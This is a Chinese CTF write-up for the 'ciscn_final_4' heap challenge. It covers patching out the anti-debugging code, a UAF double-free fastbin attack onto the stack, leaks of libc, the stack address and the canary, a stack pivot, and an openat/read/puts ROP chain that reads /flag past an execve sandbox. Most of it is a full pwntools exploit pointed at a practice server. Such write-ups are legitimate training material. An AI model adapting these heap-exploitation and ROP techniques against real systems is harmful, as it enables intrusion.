ciscn_final_4
首先,检查一下程序的保护机制,没开PIE
沙箱禁用了execve,因此不能getshell,只能构造ROP来读取flag
然后,我们用IDA分析一下
Delete功能没有清空堆指针,存在UAF可以造成double free
new功能可以自由控制大小
程序一开始,我们可以在栈里输入一些数据,因此,我们可以在栈里伪造一个chunk,然后利用fastbin attack申请堆到栈上,这样,我们就能控制栈了。
我们不能接触main函数返回,因为main函数里是一个死循环,我们可以劫持其他函数。
Fastbin attack劫持new函数时,我们可以利用栈上已有的数据,来伪造size,从而绕过fastbin 分配时的size检查。
另外,程序一开始,fork了子进程,然后利用了ptrace,导致我们无法调试它的子进程
因此,我们需要先反调试,一个好的方法是将这里指令修改为jmp,跳过后面的fork、ptrace等操作。
我们要跳到这里
总共的距离为0x000000000040102F-0x0000000000400F91 = 0x9E,因此,我们可以修改call fork指令为jmp $+0x9E,如何知道这条指令的值?我们可以利用pwntools。
然后,我们利用十六进制编辑器,修改call fork处的指令
重新打开IDA,发现fork等操作已经不见了
那么,我们就可以继续来调试了,在new的rbp上方附近,有一个0x40的数据,利用错位,可以伪造成0x40的fastbin的size,从而,我们可以通过malloc(0x30)来申请到此处,进而控制该函数的执行流。但是0x30的大小,我们仅能写一两个rop指令,一个好的方法是利用add rsp,xx,来将栈迁移到下方我们可控的大空间里执行后续rop。
综上,完整exp
#coding:utf8
from pwn import *
sh = remote('node3.buuoj.cn',28016)
#sh = process('./ciscn_final_4')
#sh = process('./test')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
malloc_hook_s = libc.symbols['__malloc_hook']
environ_s = libc.symbols['__environ']
fake_chunk = p64(0) + p64(0x81)
payload = 'a'*0xE8 + fake_chunk
sh.sendafter('what is your name?',payload)
def add(size,content):
sh.sendlineafter('>>','1')
sh.sendlineafter('size?',str(size))
sh.sendafter('content?',content)
def delete(index):
sh.sendlineafter('>>','2')
sh.sendlineafter('index ?',str(index))
def show(index):
sh.sendlineafter('>>','3')
sh.sendlineafter('index ?',str(index))
#0
add(0x100,'a'*0x100)
#1
add(0x78,'b'*0x78)
#2
add(0x78,'c'*0x78)
#3
add(0x38,'d'*0x38)
#4
add(0x38,'e'*0x38)
#5
add(0x10,'d'*0x10)
#6
add(0x81,'f'*0x81)
#heap_size数组的0x81数据用于伪造chunk的size
heapsize6_addr = 0x0000000000602058
note_addr = 0x00000000006020C0
delete(0)
show(0)
sh.recvuntil('\n')
main_arena_88 = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
environ_addr = libc_base + environ_s
pop_rdi = libc_base + 0x0000000000021102
pop_rsi = libc_base + 0x00000000000202e8
pop_rdx = libc_base + 0x0000000000001b92
#add rsp, 0x148 ; ret
add_rsp_148 = libc_base + 0x00000000000353aa
openat_addr = libc_base + libc.sym['openat']
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']
print 'libc_base=',hex(libc_base)
print 'environ_addr=',hex(environ_addr)
#double free
delete(1)
delete(2)
delete(1)
add(0x78,p64(heapsize6_addr - 0x8)) #7
add(0x78,'c') #8
add(0x78,'a') #9
#控制notesize以及note数组
payload = '\x00'*0x60
payload += p64(environ_addr) #ptr0
add(0x78,payload) #10
#泄露栈地址
show(0)
sh.recvuntil('\n')
stack_addr = u64(sh.recv(6).ljust(8,'\x00'))
print 'stack_addr=',hex(stack_addr)
fake_chunk_stack_addr = stack_addr - 0x120
print 'fake_chunk_stack_addr=',hex(fake_chunk_stack_addr)
#利用同样的方法分配到栈上伪造的chunk
#double free
delete(1)
delete(2)
delete(1)
add(0x78,p64(fake_chunk_stack_addr)) #11
add(0x78,'c') #12
add(0x78,'a') #13
#写栈
add(0x78,'d'*0x11) #14
#泄露canary
show(14)
sh.recvuntil('d'*0x11)
canary = u64(sh.recv(7).rjust(8,'\x00'))
print 'canary=',hex(canary)
#重新分配到fake_chunk_stack_addr,布置rop
#double free
delete(1)
delete(2)
delete(1)
add(0x78,p64(fake_chunk_stack_addr)) #15
add(0x78,'c') #16
add(0x78,'a') #17
#由于长度不够输入,我们调用read继续输入rop
next_rop_addr = fake_chunk_stack_addr + 0x88
payload = 'a'*0x40
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(next_rop_addr) + p64(pop_rdx) + p64(0x1000) + p64(read_addr)
add(0x78,payload) #18
#由于无法触发main函数rop,因为有一个死循环,所以我们劫持new函数来rop到main后面
#接下来,分配到new函数的栈末尾处
fake_chunk_stack_addr2 = stack_addr - 0x246
#double free
delete(3)
delete(4)
delete(3)
add(0x38,p64(fake_chunk_stack_addr2)) #15
add(0x38,'c') #16
add(0x38,'a') #17
payload = 'd'*0x6 + p64(canary) + p64(0)
payload += p64(add_rsp_148) #跳到main函数后面的rop里
#new函数返回到add_rsp_148进而跳到main后面的rop里
add(0x38,payload)
flag_addr = next_rop_addr + 0x88
#openat(0,flag_addr,0)
rop = p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdi) + p64(0) + p64(openat_addr)
#read(fd,flag_addr,0x30)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
#puts(flag_addr)
rop += p64(pop_rdi) + p64(flag_addr) + p64(puts_addr)
rop += '/flag\x00'
sleep(0.5)
sh.send(rop)
sh.interactive()